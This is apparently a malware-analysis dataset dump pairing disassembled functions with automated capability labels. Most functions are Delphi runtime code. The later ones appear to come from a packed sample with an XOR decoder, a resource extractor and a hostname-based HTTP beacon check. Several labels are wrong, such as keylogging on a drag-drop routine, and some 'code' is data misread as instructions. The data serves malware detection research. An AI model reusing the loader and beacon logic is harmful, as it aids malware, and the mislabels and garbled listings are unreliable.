joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5021ce14
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x5021cf90
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
cmp byte [eax + 0x18], 0
jne 0x5021cf6a
mov eax, dword [ebp - 8]
cmp dword [eax + 0xc], 0
je 0x5021cf6a
mov eax, dword [ebp - 8]
mov byte [eax + 0x18], 1
xor eax, eax
push ebp
push 0x5021cf63
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0xc]
mov ecx, 0x5021cf9c
call sub.rtl120.bpl__System__IntfCast_qqrr45System__DelphiInterface_t17System_IInterface_x45System__DelphiInterface_t17System_IInte
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x1c]
call sym.vcl120.bpl__Graphics_TFont_GetName_qqrv
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 0xc]
call sub.rtl120.bpl__System__WStrFromUStr_qqrr17System_WideStringx20System_UnicodeString
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x10]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x1c]
call sym.vcl120.bpl__Graphics_TFont_GetSize_qqrv
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fmul dword [0x5021cfac]
add esp, 0xfffffff8
fistp qword [esp]
wait
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x18]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x1c]
call sym.vcl120.bpl__Graphics_TFont_GetStyle_qqrv
test al, 1
setne al
neg al
sbb eax, eax
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x20]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x1c]
call sym.vcl120.bpl__Graphics_TFont_GetStyle_qqrv
test al, 2
setne al
neg al
sbb eax, eax
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x28]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x1c]
call sym.vcl120.bpl__Graphics_TFont_GetStyle_qqrv
test al, 4
setne al
neg al
sbb eax, eax
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x30]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x1c]
call sym.vcl120.bpl__Graphics_TFont_GetStyle_qqrv
test al, 8
setne al
neg al
sbb eax, eax
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x38]
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x1c]
call sym.vcl120.bpl__Graphics_TFont_GetCharset_qqrv
movzx eax, al
push eax
mov eax, dword [ebp - 4]
push eax
mov eax, dword [eax]
call dword [eax + 0x48]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5021cf6a
mov eax, dword [ebp - 8]
mov byte [eax + 0x18], 0
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5021cf97
lea eax, [ebp - 0x10]
call sub.rtl120.bpl__System__UStrClr_qqrpv
lea eax, [ebp - 0xc]
call sub.rtl120.bpl__System__WStrClr_qqrpv
lea eax, [ebp - 4]
call sub.rtl120.bpl__System__IntfClear_qqrr45System__DelphiInterface_t17System_IInterface_
ret
Function at 0x5021f18c
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor ebx, ebx
mov dword [ebp - 4], ebx
test dl, dl
je 0x5021f1a4
add esp, 0xfffffff0
call sub.rtl120.bpl__System__ClassCreate_qqrp17System_TMetaClasso
mov byte [ebp - 9], dl
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 0xc]
xor eax, eax
push ebp
push 0x5021f2be
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 8]
mov dword [eax + 8], ebx
mov eax, ebx
add eax, eax
add eax, eax
add eax, eax
call sub.rtl120.bpl__System_AllocMem_qqrui
mov edx, dword [ebp - 8]
mov dword [edx + 0xc], eax
dec ebx
test ebx, ebx
jl 0x5021f2a8
inc ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x18]
call sub.rtl120.bpl__Comobj_OleCheck_qqrl
xor eax, eax
push ebp
push 0x5021f295
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x30]
call sub.rtl120.bpl__Comobj_OleCheck_qqrl
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x10]
lea ebx, [eax + edx*8]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov eax, dword [eax + 8]
mov dword [ebx], eax
lea eax, [ebx + 4]
mov edx, dword [ebp - 4]
call sub.rtl120.bpl__System__UStrFromWStr_qqrr20System_UnicodeStringx17System_WideString
jmp 0x5021f266
lea eax, [ebx + 4]
mov ecx, 1
mov edx, 1
call sub.rtl120.bpl__System__UStrDelete_qqrr20System_UnicodeStringii
mov eax, dword [ebx + 4]
call sub.rtl120.bpl__System__UStrLen_qqrx20System_UnicodeString
dec eax
jle 0x5021f27a
mov eax, dword [ebx + 4]
cmp word [eax], 0x5f
je 0x5021f254
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5021f29c
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp + 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x54]
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5021f2c5
lea eax, [ebp - 4]
call sub.rtl120.bpl__System__WStrClr_qqrpv
ret
Function at 0x502203c8
Capabilities:
Hide graphical window

Disassembly:
push ebx
add esp, 0xfffffff0
mov ebx, eax
mov eax, ebx
call sym.vcl120.bpl__Olectrls_TOleControl_CreateControl_qqrv
test byte [ebx + 0x295], 4
jne 0x5022045d
mov edx, esp
mov eax, ebx
call sym.vcl120.bpl__Controls_TControl_GetBoundsRect_qqrv
push esp
mov eax, ebx
call sym.vcl120.bpl__Controls_TWinControl_GetParentHandle_qqrv
push eax
push 0
mov eax, ebx
test eax, eax
je 0x502203fd
sub eax, 0xfffffd24
push eax
push 0
push 0xfffffffffffffffb
mov eax, dword [ebx + 0x270]
push eax
mov eax, dword [eax]
call dword [eax + 0x2c]
cmp dword [ebx + 0x284], 0
jne 0x5022042e
mov ecx, dword [sym.vcl120.bpl__Oleconst__SCannotActivate]
mov dl, 1
mov eax, dword [sym.imp.rtl120.bpl__Comobj_EOleError_]
call sub.rtl120.bpl__Sysutils_Exception__bctr_qqrp20System_TResStringRec
call sub.rtl120.bpl__System__RaiseExcept_qqrv
mov eax, ebx
call sym.vcl120.bpl__Olectrls_TOleControl_HookControlWndProc_qqrv
cmp byte [ebx + 0x57], 0
jne 0x50220464
mov eax, ebx
call sym.vcl120.bpl__Controls_TWinControl_GetHandle_qqrv
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x50220464
push 0
mov eax, ebx
call sym.vcl120.bpl__Controls_TWinControl_GetHandle_qqrv
push eax
call sub.user32.dll_ShowWindow
jmp 0x50220464
mov eax, ebx
call sym.vcl120.bpl__Controls_TWinControl_CreateWnd_qqrv
add esp, 0x10
pop ebx
ret

Function at 0x50224b7c
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov esi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call sub.rtl120.bpl__System__UStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x50224bfa
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call sub.rtl120.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
mov dword [ebp - 8], eax
cmp dword [ebx + 8], 0
jne 0x50224bc5
mov eax, dword [ebx + 4]
call sub.rtl120.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
push 0
call sub.advapi32.dll_RegisterEventSourceW
mov dword [ebx + 8], eax
push 0
lea eax, [ebp - 8]
push eax
push 0
push 1
push 0
mov eax, dword [ebp + 8]
push eax
movzx eax, word [ebp + 0xc]
push eax
push esi
mov eax, dword [ebx + 8]
push eax
call sub.advapi32.dll_ReportEventW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50224c01
lea eax, [ebp - 4]
call sub.rtl120.bpl__System__UStrClr_qqrpv
ret
Function at 0x50225d2c
Capabilities:
Create service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x50225ed1
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 4]
xor eax, eax
call sub.rtl120.bpl__System_ParamStr_qqri
cmp word [ebx + 0xa2], 0
je 0x50225d75
mov edx, ebx
mov eax, dword [ebx + 0xa4]
call dword [ebx + 0xa0]
mov eax, dword [ebx + 0x90]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x50225d89
lea esi, [ebp - 0xc]
jmp 0x50225d8b
xor esi, esi
cmp dword [ebx + 0x80], 0
jne 0x50225d98
xor edi, edi
jmp 0x50225da5
mov eax, dword [ebx + 0x80]
call sub.rtl120.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
mov edi, eax
mov eax, dword [ebx + 0x7c]
call sub.rtl120.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
push edi
lea edx, [ebp - 0x14]
mov eax, ebx
call sym.vcl120.bpl__Svcmgr_TService_GetNTDependencies_qqrv
mov eax, dword [ebp - 0x14]
call sub.rtl120.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
push esi
mov eax, dword [ebx + 0x74]
call sub.rtl120.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
mov eax, dword [ebp - 4]
call sub.rtl120.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
mov eax, ebx
call sym.vcl120.bpl__Svcmgr_TService_GetNTErrorSeverity_qqrv
push eax
mov eax, ebx
call sym.vcl120.bpl__Svcmgr_TService_GetNTStartType_qqrv
push eax
mov eax, ebx
call sym.vcl120.bpl__Svcmgr_TService_GetNTServiceType_qqrv
push eax
push 0xf01ff
lea edx, [ebp - 0x18]
mov eax, ebx
call sym.vcl120.bpl__Svcmgr_TService_GetDisplayName_qqrv
mov eax, dword [ebp - 0x18]
call sub.rtl120.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
mov eax, dword [ebx + 8]
call sub.rtl120.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CreateServiceW
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [ebx + 0x90], eax
cmp dword [ebp - 0x10], 0
jne 0x50225e2e
call sub.rtl120.bpl__Sysutils_RaiseLastOSError_qqrv
xor edx, edx
push ebp
push 0x50225ea7
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
push ebp
push 0x50225e6c
push dword fs:[edx]
mov dword fs:[edx], esp
cmp word [ebx + 0xaa], 0
je 0x50225e62
mov edx, ebx
mov eax, dword [ebx + 0xac]
call dword [ebx + 0xa8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x50225e90
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50225eae
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_CloseServiceHandle
ret
Function at 0x50225ee0
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp word [eax + 0xb2], 0
je 0x50225f0c
mov esi, dword [ebp - 4]
mov edx, dword [ebp - 4]
mov eax, dword [esi + 0xb4]
call dword [esi + 0xb0]
push 0xf01ff
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
call sub.rtl120.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
push ebx
call sub.advapi32.dll_OpenServiceW
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x50225f31
call sub.rtl120.bpl__Sysutils_RaiseLastOSError_qqrv
xor eax, eax
push ebp
push 0x50225f68
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_DeleteService
test eax, eax
jne 0x50225f51
call sub.rtl120.bpl__Sysutils_RaiseLastOSError_qqrv
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x50225f6f
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CloseServiceHandle
ret

Function at 0x50228600
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x50228538
call sub.user32.dll_EnumWindows
ret

Function at 0x50228724
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x502287a3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.50228158
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x50228749
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.50227d08
cmp dword [ebp - 4], 0
je 0x5022878d
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
mov ebx, eax
push 0
push 9
mov eax, dword [ebp - 4]
call sub.rtl120.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
push ebx
call sub.user32.dll_WinHelpW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x502287aa
lea eax, [ebp - 4]
call sub.rtl120.bpl__System__UStrClr_qqrpv
ret
Function at 0x5022f53c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
test byte [ebx + 0x2cc], 1
je 0x5022f619
cmp ebx, esi
je 0x5022f57a
mov eax, esi
mov edx, dword [sym.vcl120.bpl__Controls_TBaseDragControlObject_]
call sub.rtl120.bpl__System__IsClass_qqrp14System_TObjectp17System_TMetaClass
test al, al
je 0x5022f619
cmp ebx, dword [esi + 0x40]
jne 0x5022f619
mov eax, ebx
call sym.vcl120.bpl__Categorybuttons_TCategoryButtons_RemoveInsertionPoints_qqrv
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
mov edx, edi
mov eax, ebx
call sym.vcl120.bpl__Categorybuttons_TCategoryButtons_GetTargetAt_qqriirp27Categorybuttons_TButtonItemrp31Categorybuttons_TButtonCatego
cmp dword [ebp - 8], 0
je 0x5022f5ed
cmp dword [ebx + 0x274], 0
je 0x5022f5ed
test byte [ebx + 0x2cc], 2
je 0x5022f5d3
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x5022f5d3
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebx + 0x274]
mov eax, ebx
mov si, 0xffb0
call sub.rtl120.bpl__System__CallDynaInst_qqrv
jmp 0x5022f607
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebx + 0x274]
mov eax, ebx
mov si, 0xffae
call sub.rtl120.bpl__System__CallDynaInst_qqrv
jmp 0x5022f607
mov esi, dword [ebx + 0x278]
test esi, esi
je 0x5022f607
mov ecx, dword [ebp - 8]
mov edx, esi
mov eax, ebx
mov si, 0xffad
call sub.rtl120.bpl__System__CallDynaInst_qqrv
xor eax, eax
mov dword [ebx + 0x274], eax
xor eax, eax
mov dword [ebx + 0x278], eax
jmp 0x5022f628
mov eax, dword [ebp + 8]
push eax
mov ecx, edi
mov edx, esi
mov eax, ebx
call sym.vcl120.bpl__Controls_TControl_DragDrop_qqrp14System_TObjectii
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4
Function at 0x50235e08
Capabilities:
Get number of processors

Disassembly:
push cs
adc byte [eax + edx*2 + 0x61], dl
jb 0x50235e74
outsb dx, byte [esi]
je 0x50235e58
outsd dx, dword [esi]
jb 0x50235e82
push ebx
je 0x50235e79
je 0x50235e7f
sbb byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
and al, 0x7c
and al, 0x50
add byte [eax], al
add byte [eax], al
mov eax, eax
xor byte [esi + 0x23], bl
push eax
arpl word [edi + 0x48], bp
je 0x50235edf
outsd dx, dword [esi]
outsb dx, byte [esi]
inc esp
inc esp
outsd dx, dword [esi]
mov eax, eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al

Function at 0x50235e30
Capabilities:
Get number of processors

Disassembly:
add edx, dword [edi]
push esp
inc esp
outsd dx, dword [esi]
arpl word [ebx + 0x43], bp
popal
jo 0x50235eaf
imul ebp, dword [edi + 0x6e], 0x6569724f
outsb dx, byte [esi]
je 0x50235ea6
je 0x50235eb0
outsd dx, dword [esi]
outsb dx, byte [esi]
add dword [eax], eax
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [esi + ebx*2], ch
and edx, dword [eax + 0xd]
arpl word fs:[edi + 0x48], bp
outsd dx, dword [esi]
jb 0x50235ec7
jp 0x50235ecf
outsb dx, byte [esi]
je 0x50235ec4
insb byte es:[edi], dx
or esp, dword [ebx + 0x6f]
push esi
jb 0x50235ee0
imul esp, dword [ebx + 0x61], 0x6143116c
jo 0x50235ee9
imul ebp, dword [edi + 0x6e], 0x6f446465
arpl word [ebx + 0x54], bp
jb 0x50235ee6
mov eax, eax
mov byte [esi + 0x23], bl
push eax
add byte [eax], al
test byte [esi + 0x23], bl
push eax
or byte [ebx + 0x70], ah
jo 0x50235f13
bound ecx, qword [esi + 0x6f]
outsb dx, byte [esi]
popal
inc esp
outsd dx, dword [esi]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edi + ebx*2], bh

Function at 0x50235e88
Capabilities:
Get number of processors

Disassembly:
add edx, dword [0x636f4454]
imul eax, dword [ebx + 0x61], 0x70
je 0x50235efd
outsd dx, dword [esi]
outsb dx, byte [esi]
push eax
imul ebp, dword [esi + 0x42], 0x6f747475
outsb dx, byte [esi]
add dword [eax], eax
add byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [esi + ebx*2 + 0x64085023], al
arpl word [eax + 0x62], si
dec esi
outsd dx, dword [esi]
outsb dx, byte [esi]
push es
arpl word fs:[eax + 0x62], si
push ebp
jo 0x50235ec5
arpl word fs:[eax + 0x62], si
inc esp
outsd dx, dword [esi]
ja 0x50235f33
adc dword [ebx + 0x61], eax
jo 0x50235f3e
imul ebp, dword [edi + 0x6e], 0x6f446465
arpl word [ebx + 0x54], bp
jb 0x50235f3b
nop
xor byte [edi + 0x23], bl
push eax
add byte [eax], al
add byte [eax], al
push eax
in al, dx
push eax
adc dl, byte [esp + eax*2 + 0x6f]

Function at 0x5023b228
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, eax
cmp dl, byte [esi + 0x28d]
je 0x5023b263
mov byte [esi + 0x28d], dl
xor edx, edx
mov eax, dword [esi + 0x2c8]
call sym.vcl120.bpl__Controls_TControl_SetVisible_qqro
push 0
mov eax, dword [esi + 0x2c8]
call sym.vcl120.bpl__Controls_TWinControl_GetHandle_qqrv
push eax
call sub.user32.dll_ShowWindow
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x80]
pop esi
ret
Function at 0x414b70
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x10000]
push edi
jmp 0x414b8a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x414b91
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x414b80
mov eax, 1
add ebx, ebx
jne 0x414ba3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x414b98
jne 0x414bb4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414b98
xor ecx, ecx
sub eax, 3
jb 0x414bc8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x414c3a
mov ebp, eax
add ebx, ebx
jne 0x414bd3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x414be0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x414c04
inc ecx
add ebx, ebx
jne 0x414bf0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x414be5
jne 0x414c01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x414be5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x414c24
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x414c15
jmp 0x414b86
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x414c24
add edi, ecx
jmp 0x414b86
pop esi
mov edi, esi
mov ecx, 4
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x414c42
cmp byte [edi], 5
jne 0x414c42
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x414c47
lea edi, [esi + 0x12000]
mov eax, dword [edi]
or eax, eax
je 0x414cbf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19be8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x19c24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x414c74
mov ecx, edi
jns 0x414ca3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19c2c]
or eax, eax
je 0x414cb9
mov dword [ebx], eax
add ebx, 4
jmp 0x414c91
call dword [esi + 0x19c28]
mov ebp, dword [esi + 0x19c30]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x414cf3
sub esp, 0xffffff80
jmp 0x401150

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x4011c9
Capabilities:
Create http request
Get hostname
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x558
mov byte [ebp - 0x30], 0
xor eax, eax
mov dword [ebp - 0x2f], eax
mov dword [ebp - 0x2b], eax
mov dword [ebp - 0x27], eax
mov dword [ebp - 0x23], eax
push str.Mozilla_4.0
lea ecx, [ebp - 0x50]
push ecx
call fcn.004015fe
add esp, 8
push 0x100
lea edx, [ebp - 0x150]
push edx
call sub.WS2_32.dll_gethostname
mov dword [ebp - 4], eax
push 0xc
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
push ecx
call fcn.00401500
add esp, 0xc
mov byte [ebp - 0xc], 0
lea edx, [ebp - 0x30]
push edx
lea eax, [ebp - 0x18]
push eax
call fcn.004010b1
add esp, 8
mov byte [ebp - 0x20], 0
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp + 8]
push edx
push str.http:___s__s_
lea eax, [ebp - 0x354]
push eax
call fcn.004015fe
add esp, 0x10
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x50]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x154], eax
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x354]
push edx
mov eax, dword [ebp - 0x154]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0
jne 0x4012a6
mov ecx, dword [ebp - 0x154]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x4012fc
lea edx, [ebp - 0x1c]
push edx
push 0x200
lea eax, [ebp - 0x558]
push eax
mov ecx, dword [ebp - 0x358]
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4012ea
mov edx, dword [ebp - 0x154]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x358]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x4012fc
movsx ecx, byte [ebp - 0x558]
cmp ecx, 0x6f
jne 0x4012fa
mov al, 1
jmp 0x4012fc
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x401300
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x10], 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401339
push str.Could_not_load_exe.
call fcn.00401650
add esp, 4
xor eax, eax
jmp 0x4013e9
push 0xa
push 0x65
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401357
xor eax, eax
jmp 0x4013e9
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401392
xor eax, eax
jmp 0x4013e9
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call fcn.00401190
add esp, 8
mov eax, dword [ebp - 0x10]
jmp 0x4013e9
mov esp, ebp
pop ebp
ret

Function at 0x4013ed
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
mov dword [ebp - 4], 0
call fcn.00401300
mov dword [ebp - 0x19c], eax
mov word [ebp - 0x1a0], 0x202
lea eax, [ebp - 0x198]
push eax
mov cx, word [ebp - 0x1a0]
push ecx
call sub.WS2_32.dll_WSAStartup
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40145e
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x19c]
push edx
call fcn.004011c9
add esp, 4
mov byte [ebp - 8], al
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx eax, byte [ebp - 8]
test eax, eax
je 0x40142e
call sub.WS2_32.dll_WSACleanup
xor eax, eax
mov esp, ebp
pop ebp
ret